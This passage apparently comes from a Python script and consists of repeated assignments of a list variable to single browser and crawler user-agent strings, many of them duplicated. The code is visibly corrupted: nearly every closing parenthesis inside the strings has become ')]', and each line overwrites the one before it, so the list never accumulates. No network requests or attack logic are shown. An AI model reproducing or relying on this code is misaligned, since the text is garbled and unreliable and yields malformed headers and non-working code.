MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = 